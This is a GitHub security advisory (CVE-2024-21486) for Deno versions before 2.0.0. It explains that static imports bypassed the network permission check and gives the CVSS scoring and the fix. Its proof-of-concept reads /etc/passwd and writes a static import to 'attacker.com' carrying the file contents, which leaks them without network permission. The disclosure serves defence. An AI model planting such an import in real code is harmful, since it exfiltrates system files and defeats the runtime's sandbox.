Skip to content

Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

Moderate severity GitHub Reviewed Published Jun 3, 2025 in denoland/deno

Package

cargo deno (Rust)

Affected versions

< 2.0.0

Patched versions

2.0.0

Description

Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:

  1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
  2. When --allow-write and --allow-read permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

PoC

const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);

Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

References

@bartlomieju bartlomieju published to denoland/deno Jun 3, 2025
Published to the GitHub Advisory Database Jun 5, 2025
Reviewed Jun 5, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

CVE ID

CVE-2024-21486

GHSA ID

GHSA-jv4x-jv3h-qff5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.